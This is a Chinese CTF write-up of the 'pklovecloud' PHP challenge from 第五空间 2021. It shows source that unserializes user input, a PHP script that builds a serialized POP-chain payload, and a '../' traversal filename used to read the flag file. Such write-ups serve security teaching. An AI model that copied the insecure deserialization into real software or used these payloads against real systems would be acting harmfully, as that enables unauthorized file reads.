[第五空间 2021]pklovecloud 详细题解

知识点:

构造POP链
PHP类的作用域
NULL强比较
目录穿越

源码如下:

php 复制代码
 <?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?> 

构造POP链:

代码很直白,GET传入参数pks,输出反序列化的结果

从后向前推构造POP链,可以看到ace类中的代码 return file_get_contents($file);

file_get_contents()函数读取文件,但是不会输出,刚好代码最后会echo 输出反序列化后的结果,所以最终的目标就是读取flag文件然后输出得到flag

php 复制代码
class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

需要满足if(this-\>openstack-\>neutron === this->openstack->nova) 条件

openstack 是ace类中docker属性反序列化得到的结果,neutron 和 nova 都是acp类中的属性

this-\>openstack-\>neutron = heat;

这里代码中并没有出现过heat 参数,最开始 include 'flag.php'; 包含了flag.php文件,heat可能是在这里定义的,但是并不重要,因为在所有类中都没有出现过heat,那么heat的值就是NULL

因为类中的属性和类外面的属性值是没关系的

用两个php文件演示一下,在include.php文件中定义了$heat 然后另一个是反序列化文件

php 复制代码
//include.php
<?php
$heat="123456";
echo "hahaha"."\n";
php 复制代码
//serialize.php
<?php
include 'include.php';
echo $heat . "\n";
class ace
{
    public $filename;
    public $docker;

    public function abc()
    {
        if($this->docker === $heat)
            echo "ddddddddddddddddddddd!";
    }
}

$a = new ace();
echo $a->abc();
?>

结果在下面,这里没有给属性docker赋值,但是满足了 this-\>docker === heat 说明这里是NULL === NULL $heat不是外面的123456 而是NULL

既然heat = NULL this->openstack->neutron 和 $this->openstack->nova 就也得是NULL

this-\>openstack = unserialize(this->docker); openstack 又是反序列化 docker 属性的结果,那么对docker属性不赋值即可,这样反序列化得到的就是NULL

然后就是如何调用echo_name函数,发现 acp类中的 __toString()方法会return $this->cinder->echo_name()

cinder是protected类型,不能在外部赋值,需要在类内部的__construct()方法中改为ace类对象

toString()方法会在一个对象被当作字符串时被触发自动调用

最后的代码程序接受了pks参数后会先进行反序列化,然后echo 反序列后的对象
因此如果传入pks参数后,logData是反序列化得到的对象,然后会echo logData,就会触发__toString()方法,完成构造

pop链:

ace::echo_name() -> acp::__toString() -> acp:: __construct()

序列化代码:

php 复制代码
<?php  
class acp 
{   
    protected $cinder ;   //  2  在__construct()内部赋值为ace类对象
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new ace;
    }
}  
class ace
{    
    public $filename = 'flag.php';       //    内部赋值为flag.php
    public $openstack;
    public $docker;        // 1  赋值为空(null),或者什么都不赋值
    
}  

$a= new ace();
$a->docker = null;

$b=new acp();
echo urlencode(serialize($b));

这里要对序列化的结果进行url编码,因为acp类中有protected类型,protected属性序列化的时候格式是 \00*\00成员名 所以需要进行url编码防止无法识别

目录穿越:

查看源码得到flag.php 的源码,$heat确实是在这里定义的

修改代码中的文件名即可,public $filename = 'nssctfasdasdflag';

回显 keystone lost~ 说明没有满足if (file_get_contents($file))条件,那就是没有读取到文件,应该是文件的路径不对

这里 file = "./{this->filename}"; ./表示当前目录,花括号 {} 用于在字符串中明确地界定变量的边界,逐级目录穿越查找nssctfasdasdflag 文件所在的路径即可

目录穿越一级发现成功读取得到了flag,赋值为 public $filename = '../nssctfasdasdflag' 即可

相关推荐
漏洞谷20 小时前
白帽子为什么几乎都绕不开 httpx:一款 HTTP 资产探测工具的技术价值
web安全·漏洞挖掘·安全工具
ServBay1 天前
告别面条代码,PSL 5.0 重构 PHP 性能与安全天花板
后端·php
JaguarJack3 天前
FrankenPHP 原生支持 Windows 了
后端·php·服务端
BingoGo3 天前
FrankenPHP 原生支持 Windows 了
后端·php
JaguarJack4 天前
PHP 的异步编程 该怎么选择
后端·php·服务端
BingoGo4 天前
PHP 的异步编程 该怎么选择
后端·php
JaguarJack5 天前
为什么 PHP 闭包要加 static?
后端·php·服务端
ServBay6 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户962377954486 天前
CTF 伪协议
php
BingoGo8 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php